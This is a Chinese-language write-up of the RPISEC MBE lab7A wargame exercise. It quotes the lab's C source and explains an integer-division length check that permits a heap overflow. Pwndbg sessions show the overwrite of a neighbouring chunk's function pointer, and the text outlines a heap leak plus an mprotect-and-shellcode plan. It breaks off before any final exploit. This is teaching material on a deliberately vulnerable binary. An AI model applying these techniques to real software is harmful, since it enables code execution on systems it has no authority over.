RPISEC/MBE: writeup lab7A 堆漏洞

TOC

  1. 1. 分析
  2. 2. 漏洞
  3. 3. 利用

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab07/lab7A.c。这个程序还是偏难的。

分析

utils.h

/*
* Tools for anti-debug/disasm
*/

/* throws off esp analysis to thwart hexrays */
#define deathrays \
__asm__ volatile("push %eax \n"\
"xor %eax, %eax\n"\
"jz .+5 \n"\
".word 0xC483 \n"\
".byte 0x04 \n"\
"pop %eax \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
for (; *_argv; ++_argv) { \
memset(*_argv, 0, strlen(*_argv)); \
}
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
char x = 0;
while(1)
{
x = getchar();
if(x == '\n' || x == EOF)
break;
}
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
unsigned int res = 0;
fflush(stdout);
scanf("%u", &res);
clear_stdin();
return res;
}

void prog_timeout(int sig)
{
asm("mov $1, %eax;"
"mov $1, %ebx;"
"int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
__attribute__ ((constructor)) void enable_timeout_cons() \
{ \
signal(SIGALRM, prog_timeout); \
alarm(_time); \
}

lab7A.c

/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include "./utils.h"

// ENABLE_TIMEOUT(60)

#define MAX_MSG 10
#define MAX_BLOCKS 32
#define BLOCK_SIZE 4

struct msg {
void (* print_msg)(struct msg *);
unsigned int xor_pad[MAX_BLOCKS];
unsigned int message[MAX_BLOCKS];
unsigned int msg_len;
};

struct msg * messages[MAX_MSG];

/* apply one time pad */
void encdec_message(unsigned int * message, unsigned int * xor_pad)
{
int i = 0;
for(i = 0; i < MAX_BLOCKS; i++)
message[i] ^= xor_pad[i];
}

/* print information about the given message */
void print_message(struct msg * to_print)
{
unsigned int i = 0;
char * xor_pad;
char * message;

xor_pad = (char *)&to_print->xor_pad;
message = (char *)&to_print->message;

/* print the message's xor pad */
printf("\nXOR Pad: \n"
"-----------------------------------------\n");

for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
{
printf("%02x", xor_pad[i] & 0xFF);
if(i % 32 == 31)
puts("");
}

/* print encrypted message */
printf("\nEncrypted Message: \n"
"-----------------------------------------\n");

for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
{
printf("%02x", message[i] & 0xFF);
if(i % 32 == 31)
puts("");
}

puts("");
}

/* creates a message */
int create_message()
{
int i, j;
struct msg * new_msg = NULL;

/* find a free message slot */
for(i = 0; i < MAX_MSG; i++)
if(messages[i] == NULL)
break;

/* make sure we actually found an empty slot */
if(messages[i])
{
printf("-No message slots left!\n");
return 1;
}

printf("-Using message slot #%u\n", i);

/* initialize new message */
new_msg = malloc(sizeof(struct msg));
memset(new_msg, 0, sizeof(struct msg));
new_msg->print_msg = &print_message;

for(j = 0; j < MAX_BLOCKS; j++)
new_msg->xor_pad[j] = rand();

/* get the length of data the user intends to encrypt */
printf("-Enter data length: ");

new_msg->msg_len = get_unum();

if(new_msg->msg_len == 0)
{
printf("-Message length must be greater than zero!\n");
free(new_msg);
return 1;
}

/* make sure the message length is no bigger than the xor pad */
if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

/* read in the message to encrypt with the xor pad */
printf("-Enter data to encrypt: ");
read(0, &new_msg->message, new_msg->msg_len);

/* encrypt message */
encdec_message(new_msg->message, new_msg->xor_pad);

/* save the new message to the global list */
messages[i] = new_msg;

return 0;
}

int edit_message()
{
char numbuf[32];
unsigned int i = 0;

/* get message index to destroy */
printf("-Input message index to edit: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);

if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}

printf("-Input new message to encrypt: ");

/* clear old message, and read in a new one */
memset(&messages[i]->message, 0, BLOCK_SIZE * MAX_BLOCKS);
read(0, &messages[i]->message, messages[i]->msg_len);

/* encrypt message */
encdec_message(messages[i]->message, messages[i]->xor_pad);

return 0;
}

/* free a secure message */
int destroy_message()
{
char numbuf[32];
unsigned int i = 0;

/* get message index to destroy */
printf("-Input message index to destroy: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);

if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}

/* destroy message */
memset(messages[i], 0, sizeof(struct msg));
free(messages[i]);
messages[i] = NULL;

return 0;
}

/* print a message at a select index */
int print_index()
{
char numbuf[32];
unsigned int i = 0;

/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);

if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}

/* print the message of interest */
messages[i]->print_msg(messages[i]);

return 0;
}

/* the vulnerability is in here */
void print_menu()
{
printf("+---------------------------------------+\n"
"| Doom's OTP Service v1.0 |\n"
"+---------------------------------------+\n"
"|------------ Services Menu ------------|\n"
"|---------------------------------------|\n"
"| 1. Create secure message |\n"
"| 2. Edit secure message |\n"
"| 3. Destroy secure message |\n"
"| 4. Print message details |\n"
"| 5. Quit |\n"
"+---------------------------------------+\n");
}

int main()
{
int choice = 0;
srand(time(NULL));
disable_buffering(stdout);

while(1)
{
print_menu();

/* get menu option */
printf("Enter Choice: ");
choice = get_unum();

printf("-----------------------------------------\n");

/* handle menu selection */
if(choice == 1)
{
if(create_message())
printf("-Failed to create message!\n");
else
printf("-Message created successfully!\n");
}
else if(choice == 2)
{
if(edit_message())
printf("-Failed to edit message!\n");
else
printf("-Message has been successfully modified!\n");
}
else if(choice == 3)
{
if(destroy_message())
printf("-Failed to destroy message!\n");
else
printf("-Message destroyed!\n");
}
else if(choice == 4)
{
if(print_index())
printf("-Failed to print message!\n");
}
else if(choice == 5)
{
break; // exit
}
else
printf("-Invalid choice!\n");

choice = 0;
puts("");
}

printf("See you tomorrow!\n");
return EXIT_SUCCESS;
}

Writeup 借鉴自https://devel0pment.de/?p=386

漏洞

这个程序比较难,在上面的代码中很难发现漏洞。在对程序进行了一些尝试之后,发现在选择msg_len时,128 < msg_len < 132的值不会被重置为128的最大值。以下几行代码导致了这个问题:

if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

msg_len是一个无符号整数,宏定义BLOCK_SIZE也是一个整数(4),这意味着上面的if语句中的(new_msg->msg_len / BLOCK_SIZE)是整数:

>>> 127/4
31
>>> 128/4
32
>>> 129/4
32
>>> 130/4
32
>>> 131/4
32
>>> 132/4
33

由于余数没有被考虑,上面的if条件在msg_len大于131时才计算为true。这意味着我们可以将成员变量message溢出3个字节!message之后的内存中储存的是什么呢?msg_len。因此,我们可以设置msg_len为更大的数,然后使用edit_message函数使message溢出很多字节,而不仅仅是3个字节,这可能会覆盖该堆的下一个堆块。

为了方便调试,我用debug版本来演示堆溢出:

ex@Ex:~/test$ gdb ./glab7A 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./glab7A...done.
pwndbg&gt; b 271
Breakpoint 1 at 0x8049654: file main.c, line 271.
pwndbg&gt; r
Starting program: /home/ex/test/glab7A
+---------------------------------------+
| Doom's OTP Service v1.0 |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message |
| 2. Edit secure message |
| 3. Destroy secure message |
| 4. Print message details |
| 5. Quit |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #0
-Enter data length: 131
-Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-Message created successfully!

+---------------------------------------+
| Doom's OTP Service v1.0 |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message |
| 2. Edit secure message |
| 3. Destroy secure message |
| 4. Print message details |
| 5. Quit |
+---------------------------------------+
Enter Choice: 5
-----------------------------------------
Breakpoint 1, main () at main.c:271
warning: Source file is more recent than executable.
271 printf("See you tomorrow!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x2a
EBX 0x80481a8 (_init) ◂— push ebx
ECX 0x80ed518 (_IO_stdfile_1_lock) ◂— 0x0
EDX 0x2a
EDI 0x80ebfbc (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8068e60 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
ESI 0x0
EBP 0xffffce58 —▸ 0x8049e20 (__libc_csu_fini) ◂— push ebx
ESP 0xffffce30 —▸ 0x80c0210 ◂— sub eax, 0x2d2d2d2d /* '-----------------------------------------' */
EIP 0x8049654 (main+303) ◂— mov dword ptr [esp], 0x80c0314
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x8049654 <main+303> mov dword ptr [esp], 0x80c0314
0x804965b <main+310> call puts &lt;0x80508d0&gt;

0x8049660 <main+315> mov eax, 0
0x8049665 <main+320> mov edx, dword ptr [esp + 0x1c]
0x8049669 <main+324> xor edx, dword ptr gs:[0x14]
0x8049670 <main+331> je main+377 &lt;0x804969e&gt;

0x8049672 <main+333> jmp main+372 &lt;0x8049699&gt;

0x8049674 <main+335> mov dword ptr [esp], 0x80c0303
0x804967b <main+342> call puts &lt;0x80508d0&gt;

0x8049680 <main+347> mov dword ptr [esp + 0x18], 0
0x8049688 <main+355> mov dword ptr [esp], 0x80bfec6
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/main.c
266
267 choice = 0;
268 puts("");
269 }
270
► 271 printf("See you tomorrow!\n");
272 return EXIT_SUCCESS;
273 }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffce30 —▸ 0x80c0210 ◂— sub eax, 0x2d2d2d2d /* '-----------------------------------------' */
01:0004│ 0xffffce34 ◂— 0x0
02:0008│ 0xffffce38 ◂— 0x2
03:000c│ 0xffffce3c ◂— 0x0
04:0010│ 0xffffce40 —▸ 0x80ec014 (__exit_funcs) —▸ 0x80ed2e0 (initial) ◂— 0x0
05:0014│ 0xffffce44 —▸ 0xffffcee4 —▸ 0xffffd0d1 ◂— '/home/ex/test/glab7A'
06:0018│ 0xffffce48 ◂— 0x5
07:001c│ 0xffffce4c ◂— 0xe0ad9e00
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8049654 main+303
f 1 804986a __libc_start_main+458
Breakpoint /home/ex/test/main.c:271
pwndbg&gt; p *messages[0]
$1 = {
print_msg = 0x8048f8f <print_message>,
xor_pad = {851732486, 1462997400, 966742113, 882646887, 832287205, 1220986749, 888645753, 1587861797, 174410442, 1150338730, 1367689140, 1781784704, 1920013348, 770315845, 586355133, 1628488295, 560201202, 1092788784, 2107654148, 1519206623, 973993493, 891996160, 381696200, 1617269897, 1412761790, 2095728222, 485752312, 246837394, 989643003, 482423427, 613856187, 1841375490},
message = {1938106695, 376623321, 2027819296, 1977441830, 1893396644, 159876668, 1974921528, 535140452, 1260653451, 97617899, 281282293, 728932801, 858805605, 1823168260, 1672630524, 542212902, 1612889267, 6546289, 1021378885, 466354590, 2068625236, 1953204545, 1468103049, 556062152, 359942655, 1034618655, 1571994809, 1341600211, 2076017082, 1568699330, 1708651258, 746612803},
msg_len = 672065
}
pwndbg&gt; p messages[0]
$2 = (struct msg *) 0x80f09d8
pwndbg&gt; x/4xw 0x80f09d8 - 8
0x80f09d0: 0x00000000 0x00000111 0x08048f8f 0x4615332a</print_message>

可以看到msg_len的值已被覆盖。

// From Glibc 2.19 Source (malloc.c)
struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* (指针)长度取决于储存字长Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* (一个字节)Size in bytes, including overhead. */
struct malloc_chunk *fd; /* double links -- used only if free. */
struct malloc_chunk *bk; /* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk *bk_nextsize;
};

只要第一个message的msg_len足够大,我们就可以使用edit_message函数覆盖第二个堆块,下面我再用gdb演示一下如何修改print_msg函数指针的值:

ex@Ex:~/test$ gdb ./glab7A 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./glab7A...done.
pwndbg> b 271
Breakpoint 1 at 0x8049654: file main.c, line 271.
pwndbg> r
Starting program: /home/ex/test/glab7A
+---------------------------------------+
| Doom's OTP Service v1.0 |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message |
| 2. Edit secure message |
| 3. Destroy secure message |
| 4. Print message details |
| 5. Quit |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #0
-Enter data length: 131
-Enter data to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-Message created successfully!

+---------------------------------------+
| Doom's OTP Service v1.0 |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message |
| 2. Edit secure message |
| 3. Destroy secure message |
| 4. Print message details |
| 5. Quit |
+---------------------------------------+
Enter Choice: 1
-----------------------------------------
-Using message slot #1
-Enter data length: 16
-Enter data to encrypt: AAAA
-Message created successfully!

+---------------------------------------+
| Doom's OTP Service v1.0 |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message |
| 2. Edit secure message |
| 3. Destroy secure message |
| 4. Print message details |
| 5. Quit |
+---------------------------------------+
Enter Choice: 2
-----------------------------------------
-Input message index to edit: 0
-Input new message to encrypt: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
-Message has been successfully modified!

+---------------------------------------+
| Doom's OTP Service v1.0 |
+---------------------------------------+
|------------ Services Menu ------------|
|---------------------------------------|
| 1. Create secure message |
| 2. Edit secure message |
| 3. Destroy secure message |
| 4. Print message details |
| 5. Quit |
+---------------------------------------+
Enter Choice: 5
-----------------------------------------

Breakpoint 1, main () at main.c:271
warning: Source file is more recent than executable.
271 printf("See you tomorrow!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x2a
EBX 0x80481a8 (_init) ◂— push ebx
ECX 0x80ed518 (_IO_stdfile_1_lock) ◂— 0x0
EDX 0x2a
EDI 0x80ebfbc (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8068e60 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
ESI 0x0
EBP 0xffffce58 —▸ 0x8049e20 (__libc_csu_fini) ◂— push ebx
ESP 0xffffce30 —▸ 0x80c0210 ◂— sub eax, 0x2d2d2d2d /* '-----------------------------------------' */
EIP 0x8049654 (main+303) ◂— mov dword ptr [esp], 0x80c0314
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x8049654 <main+303> mov dword ptr [esp], 0x80c0314
0x804965b <main+310> call puts <0x80508d0>

0x8049660 <main+315> mov eax, 0
0x8049665 <main+320> mov edx, dword ptr [esp + 0x1c]
0x8049669 <main+324> xor edx, dword ptr gs:[0x14]
0x8049670 <main+331> je main+377 <0x804969e>

0x8049672 <main+333> jmp main+372 <0x8049699>

0x8049674 <main+335> mov dword ptr [esp], 0x80c0303
0x804967b <main+342> call puts <0x80508d0>

0x8049680 <main+347> mov dword ptr [esp + 0x18], 0
0x8049688 <main+355> mov dword ptr [esp], 0x80bfec6
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/main.c
266
267 choice = 0;
268 puts("");
269 }
270
► 271 printf("See you tomorrow!\n");
272 return EXIT_SUCCESS;
273 }
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffce30 —▸ 0x80c0210 ◂— sub eax, 0x2d2d2d2d /* '-----------------------------------------' */
01:0004│ 0xffffce34 ◂— 0x0
02:0008│ 0xffffce38 ◂— 0x2
03:000c│ 0xffffce3c ◂— 0x0
04:0010│ 0xffffce40 —▸ 0x80ec014 (__exit_funcs) —▸ 0x80ed2e0 (initial) ◂— 0x0
05:0014│ 0xffffce44 —▸ 0xffffcee4 —▸ 0xffffd0d1 ◂— '/home/ex/test/glab7A'
06:0018│ 0xffffce48 ◂— 0x5
07:001c│ 0xffffce4c ◂— 0x2c8c2300
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8049654 main+303
f 1 804986a __libc_start_main+458
Breakpoint /home/ex/test/main.c:271
pwndbg> p *messages[0]
$1 = {
print_msg = 0x8048f8f <print_message>,
xor_pad = {286392798, 1980774351, 1633991005, 2019762111, 2138164096, 511729770, 1117871774, 1713023654, 1171543256, 1818296091, 1773392852, 720679501, 1623626257, 636455305, 752330986, 1446596160, 2117342767, 204498755, 2043555676, 1178031475, 329394708, 1549666869, 1359438455, 442911237, 1392282039, 1707549682, 304231412, 21432751, 1469741183, 455340000, 557123673, 1756133981},
message = {1347633311, 928085646, 539359260, 958553854, 1043368641, 1606492459, 65019871, 660335591, 76879257, 757186138, 686985877, 1807086348, 562549584, 1689176264, 1838606763, 393744129, 1064654702, 1299260930, 948923933, 125178930, 1390635861, 488590196, 273031990, 1529285444, 331204854, 612786867, 1399026357, 1074153710, 383465790, 1516416673, 1618233624, 703413020},
msg_len = 1094795585
}
pwndbg> p *messages[1]
$2 = {
print_msg = 0x34333231,
xor_pad = {288630538, 43631031, 1628412444, 279311152, 555360801, 598800571, 1992334806, 1726904057, 269613014, 1618244011, 300099911, 1893239271, 107215668, 1052430897, 1192351783, 77074787, 1256929652, 1088423812, 1255106263, 1586324361, 490607033, 467061070, 2029235598, 1882889072, 27127104, 185983362, 1904321823, 1496868288, 641323363, 313961849, 1105518621, 929954067},
message = {1349871345, 43631037, 1628412444, 279311152, 555360801, 598800571, 1992334806, 1726904057, 269613014, 1618244011, 300099911, 1893239271, 107215668, 1052430897, 1192351783, 77074787, 1256929652, 1088423812, 1255106263, 1586324361, 490607033, 467061070, 2029235598, 1882889072, 27127104, 185983362, 1904321823, 1496868288, 641323363, 313961849, 1105518621, 929954067},
msg_len = 16
}

现在,我们成功地利用这个漏洞来控制指令指针(eip)。

利用

正如编译参数 -static,二进制是静态链接的。所以,让我们首先检查一下是否有system函数:

ex@Ex:~/test$ readelf -s ./lab7A | grep system
738: 080d5000 62 OBJECT LOCAL DEFAULT 10 system_dirs
739: 080d4fec 16 OBJECT LOCAL DEFAULT 10 system_dirs_len

然而并没有,或许我们能搜寻字符串”/bin/sh”然后构建一条ROP链来执行系统调用execve。

ex@Ex:~/test$ strings ./lab7A | grep /bin/sh
ex@Ex:~/test$ readelf -s ./lab7A | grep mprotect
1246: 0806eff0 37 FUNC GLOBAL DEFAULT 6 __mprotect
2223: 0806eff0 37 FUNC WEAK DEFAULT 6 mprotect

任然没有,但是我们发现程序里有mprotect函数。

MPROTECT(2)                                   Linux Programmer's Manual                                  MPROTECT(2)

NAME
mprotect - set protection on a region of memory

SYNOPSIS
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

DESCRIPTION
mprotect() changes protection for the calling process's memory page(s) containing any part of the address
range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.

mprotect可以用来改变对内存页的保护。到目前为止,我们不能在堆栈或堆中执行shellcode,是因为NX是启用的,如果我们调用mprotect函数使得堆有执行权限,我们就能将shellcode储存在堆中并将eip指向shellcode。

在调用mprotect之前,我们需要泄露堆的地址来作为mprotect的第一个参数。

可以用puts函数。

ex@Ex:~/test$ readelf -s ./lab7A | grep puts
222: 00000000 0 FILE LOCAL DEFAULT ABS ioputs.o
640: 00000000 0 FILE LOCAL DEFAULT ABS iofputs.o
1357: 080508d0 335 FUNC WEAK DEFAULT 6 puts
1510: 08093f90 253 FUNC GLOBAL DEFAULT 6 _IO_fputs
1682: 080508d0 335 FUNC GLOBAL DEFAULT 6 _IO_puts
2211: 08093f90 253 FUNC WEAK DEFAULT 6 fputs

我们要将全局变量messages的固定地址(0x80edf60)传递给puts,那么至少会打印第一个堆指针的地址。

我们发现的堆溢出漏洞,我们只能覆盖一个函数地址。如果我们写入更多字节,这些字节将不会存储在栈中,而是存储在堆上的结构体中。但是结构体的print_msg函数恰好能为我们所用。

但是我们如何控制堆栈上的区域呢?程序中没有栈溢出漏洞!?其实,我们不需要一个栈漏洞来修改栈。所有本地变量都存储在堆栈中,而print_index里的fgets恰好能为我们整理栈空间。

char numbuf[32];
unsigned int i = 0;

/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);

还有一件事,我们必要要确保buffer的第一个字节是有效的。

if(i >= MAX_MSG || messages[i] == NULL)
{
printf("-Invalid message index!\n");
return 1;
}

/* print the message of interest */
messages[i]->print_msg(messages[i]);

总结一下,我们将执行以下操作来泄漏堆地址:

下面的图片表示了pivoting gadget的步骤: